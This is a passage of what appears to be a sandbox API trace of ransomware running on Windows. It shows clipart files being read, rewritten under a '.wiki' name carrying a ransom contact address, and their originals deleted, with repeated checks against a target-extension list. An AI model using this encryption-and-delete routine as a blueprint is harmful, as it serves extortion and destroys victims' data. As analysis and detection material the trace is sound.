lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.394] SetEndOfFile (hFile=0x1f8) returned 1 [0189.395] CloseHandle (hObject=0x1f8) returned 1 [0189.395] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.395] SetEndOfFile (hFile=0x1d8) returned 1 [0189.395] CloseHandle (hObject=0x1d8) returned 1 [0189.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0189.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.396] lstrlenW (lpString=".doc") returned 4 [0189.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.396] lstrlenW (lpString=".docx") returned 5 [0189.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.396] lstrlenW (lpString=".pdf") returned 4 [0189.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.396] lstrlenW (lpString=".xls") returned 4 [0189.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.396] lstrlenW (lpString=".xlsx") returned 5 [0189.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.396] lstrlenW (lpString=".ppt") returned 4 [0189.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.396] lstrlenW (lpString=".zip") returned 4 [0189.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.396] lstrlenW (lpString=".rar") returned 4 [0189.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.396] lstrlenW (lpString=".bz2") returned 4 [0189.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.397] lstrlenW (lpString=".7z") returned 3 [0189.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.397] lstrlenW (lpString=".dbf") returned 4 [0189.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.397] lstrlenW (lpString=".1cd") returned 4 [0189.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.397] lstrlenW (lpString=".jpg") returned 4 [0189.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.397] lstrlenW (lpString=".doc") returned 4 [0189.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.397] lstrlenW (lpString=".docx") returned 5 [0189.397] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.397] lstrlenW (lpString=".pdf") returned 4 [0189.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.397] lstrlenW (lpString=".xls") returned 4 [0189.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.397] lstrlenW (lpString=".xlsx") returned 5 [0189.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.397] lstrlenW (lpString=".ppt") returned 4 [0189.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.397] lstrlenW (lpString=".zip") returned 4 [0189.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.397] lstrlenW (lpString=".rar") returned 4 [0189.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.397] lstrlenW (lpString=".bz2") returned 4 [0189.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.398] lstrlenW (lpString=".7z") returned 3 [0189.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.398] lstrlenW (lpString=".dbf") returned 4 [0189.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.398] lstrlenW (lpString=".1cd") returned 4 [0189.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0189.398] lstrlenW (lpString=".jpg") returned 4 [0189.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.398] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.398] lstrlenW (lpString="HH00276_.WMF") returned 12 [0189.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.398] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3016) returned 1 [0189.399] CloseHandle (hObject=0x1d8) returned 1 [0189.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0189.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.399] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.399] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.399] GetLastError () returned 0x0 [0189.399] ReadFile (in: hFile=0x1d8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0189.401] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0189.402] ReadFile (in: hFile=0x1d8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.402] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.402] SetEndOfFile (hFile=0x1f8) returned 1 [0189.402] CloseHandle (hObject=0x1f8) returned 1 [0189.402] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.402] SetEndOfFile (hFile=0x1d8) returned 1 [0189.403] CloseHandle (hObject=0x1d8) returned 1 [0189.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0189.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.403] lstrlenW (lpString=".doc") returned 4 [0189.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.403] lstrlenW (lpString=".docx") returned 5 [0189.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.403] lstrlenW (lpString=".pdf") returned 4 [0189.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.403] lstrlenW (lpString=".xls") returned 4 [0189.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.403] lstrlenW (lpString=".xlsx") returned 5 [0189.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.403] lstrlenW (lpString=".ppt") returned 4 [0189.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.404] lstrlenW (lpString=".zip") returned 4 [0189.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.404] lstrlenW (lpString=".rar") returned 4 [0189.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.404] lstrlenW (lpString=".bz2") returned 4 [0189.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.404] lstrlenW (lpString=".7z") returned 3 [0189.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.404] lstrlenW (lpString=".dbf") returned 4 [0189.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.404] lstrlenW (lpString=".1cd") returned 4 [0189.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.404] lstrlenW (lpString=".jpg") returned 4 [0189.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.404] lstrlenW (lpString=".doc") returned 4 [0189.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.404] lstrlenW (lpString=".docx") returned 5 [0189.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.404] lstrlenW (lpString=".pdf") returned 4 [0189.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.404] lstrlenW (lpString=".xls") returned 4 [0189.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.404] lstrlenW (lpString=".xlsx") returned 5 [0189.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.404] lstrlenW (lpString=".ppt") returned 4 [0189.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.405] lstrlenW (lpString=".zip") returned 4 [0189.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.405] lstrlenW (lpString=".rar") returned 4 [0189.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.405] lstrlenW (lpString=".bz2") returned 4 [0189.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.405] lstrlenW (lpString=".7z") returned 3 [0189.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.405] lstrlenW (lpString=".dbf") returned 4 [0189.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.405] lstrlenW (lpString=".1cd") returned 4 [0189.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0189.405] lstrlenW (lpString=".jpg") returned 4 [0189.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.405] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.405] lstrlenW (lpString="HH00334_.WMF") returned 12 [0189.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.406] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1528) returned 1 [0189.406] CloseHandle (hObject=0x1d8) returned 1 [0189.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x20 [0189.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.406] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.406] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.406] GetLastError () returned 0x0 [0189.406] ReadFile (in: hFile=0x1d8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x5f8, lpOverlapped=0x0) returned 1 [0189.408] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x600, lpOverlapped=0x0) returned 1 [0189.410] ReadFile (in: hFile=0x1d8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.410] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.410] SetEndOfFile (hFile=0x1f8) returned 1 [0189.410] CloseHandle (hObject=0x1f8) returned 1 [0189.410] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.410] SetEndOfFile (hFile=0x1d8) returned 1 [0189.411] CloseHandle (hObject=0x1d8) returned 1 [0189.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0189.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.412] lstrlenW (lpString=".doc") returned 4 [0189.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.412] lstrlenW (lpString=".docx") returned 5 [0189.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.412] lstrlenW (lpString=".pdf") returned 4 [0189.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.412] lstrlenW (lpString=".xls") returned 4 [0189.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.412] lstrlenW (lpString=".xlsx") returned 5 [0189.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.412] lstrlenW (lpString=".ppt") returned 4 [0189.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.412] lstrlenW (lpString=".zip") returned 4 [0189.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.412] lstrlenW (lpString=".rar") returned 4 [0189.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.412] lstrlenW (lpString=".bz2") returned 4 [0189.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.412] lstrlenW (lpString=".7z") returned 3 [0189.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.412] lstrlenW (lpString=".dbf") returned 4 [0189.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.413] lstrlenW (lpString=".1cd") returned 4 [0189.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.413] lstrlenW (lpString=".jpg") returned 4 [0189.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.413] lstrlenW (lpString=".doc") returned 4 [0189.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.413] lstrlenW (lpString=".docx") returned 5 [0189.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.413] lstrlenW (lpString=".pdf") returned 4 [0189.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.413] lstrlenW (lpString=".xls") returned 4 [0189.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.413] lstrlenW (lpString=".xlsx") returned 5 [0189.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.413] lstrlenW (lpString=".ppt") returned 4 [0189.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.413] lstrlenW (lpString=".zip") returned 4 [0189.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.413] lstrlenW (lpString=".rar") returned 4 [0189.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.413] lstrlenW (lpString=".bz2") returned 4 [0189.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.413] lstrlenW (lpString=".7z") returned 3 [0189.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.515] lstrlenW (lpString=".dbf") returned 4 [0189.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.516] lstrlenW (lpString=".1cd") returned 4 [0189.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0189.516] lstrlenW (lpString=".jpg") returned 4 [0189.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.516] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.516] lstrlenW (lpString="HH00527_.WMF") returned 12 [0189.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.516] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5798) returned 1 [0189.517] CloseHandle (hObject=0x1f4) returned 1 [0189.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0189.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.517] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.517] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.517] GetLastError () returned 0x0 [0189.517] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x16a6, lpOverlapped=0x0) returned 1 [0189.607] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x16b0, lpOverlapped=0x0) returned 1 [0189.608] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.608] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.608] SetEndOfFile (hFile=0x1e4) returned 1 [0189.608] CloseHandle (hObject=0x1e4) returned 1 [0189.608] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.608] SetEndOfFile (hFile=0x1f4) returned 1 [0189.609] CloseHandle (hObject=0x1f4) returned 1 [0189.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 